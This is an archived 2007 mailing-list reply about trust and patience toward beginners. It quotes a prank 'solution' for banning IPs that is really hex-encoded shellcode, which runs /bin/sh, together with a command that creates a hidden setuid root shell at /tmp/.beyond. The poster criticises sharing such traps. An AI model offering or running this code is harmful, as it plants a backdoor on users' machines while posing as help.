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| DATE | 2007-12-12 |
| FROM | archive
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| SUBJECT | Subject: [ruben@mrbrklyn.com: [NYLXS - HANGOUT] Re: Favorite way to ban an IP from your webserver?]
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> I'm sorry, but if someone doesn't have the common sense to take what
> people say and do a little investigation into why they gave that
> answer and possibly learn what you are doing instead of typing
> something in with blind faith, then you deserve what damage it might
> cause. Linux is not that difficult as some people claim, what I've
> found is most people are ignorant and don't care to learn new things,
> especially when it comes to computers. I as a computer professional
> absolutely hate it when someone asks for help, then they don't learn
> and they continue to do it over and over again.
Matt
I also teach and I also am a Pharmacist who deals with a very large
segment of the general population and let me assure you that a very large
percentage of the population, mostly due to education but also due to generics
do have to learn the hard way or do need to be told something over and over
and over again. And if you've raised children you can identify this as
a somewhat normal phase of human intellectual development.
If you teach the first rule is patience, and the second rule is MORE patience.
> Yet we IT
> professionals put up with their ignorance.
Try Pharmacy.
> I can sit anyone down in
> front of Linux show them 'man' and tell them before they type any new
> command they first have to type 'man command' and learn what it does.
> What this does is it teaches people to try to find the answer first,
> then if they can't figure it out ask questions. Then when I give them
> the answer or point them in the right direction I expect that they
> learn from it.
>
> Also, if you actually trust every person you meet, then you are fool.
Trust is essential. And remember that this is also archived which means
it can harm somone years from now down the road. WE ALL have grabs snippets
of code and found help with a google google, dejanews search and tried
something, especially ambitious and motivated beginners and young people.
> Of course there are people out there that want to do you harm, and
> even more so on the internet. So why one earth would you trust
> someone that you haven't even met and do exactly everything they say
> without doing some research. Yeah, like I'm going to blindly trust
> anyone that tells me to run a command on my personal machines or my
> work's very expensive servers.
>
> By the way, since you trust everyone, can I borrow $100? I promise to
> pay it back to you tomorrow.
>
> Anyway, here's another solution to the original problem (as suggested
> by http://www.kevinhatfield.org/). I ran it on my machine and it
> worked great :wink: :wink:
>
> char esp[] __attribute__ ((section(".text"))) /* e.s.p
> release */
> = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
> "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
> "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
> "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
> "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
> "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
> "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
> "cp -p /bin/sh /tmp/.beyond; chmod 4755
> /tmp/.beyond;";
>
> --
> -matt
Ruben
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"> I'm an engineer. I choose the best tool for the job, politics be damned.<
You must be a stupid engineer then, because politcs and technology have been attached at the hip since the 1st dynasty in Ancient Egypt. I guess you missed that one."
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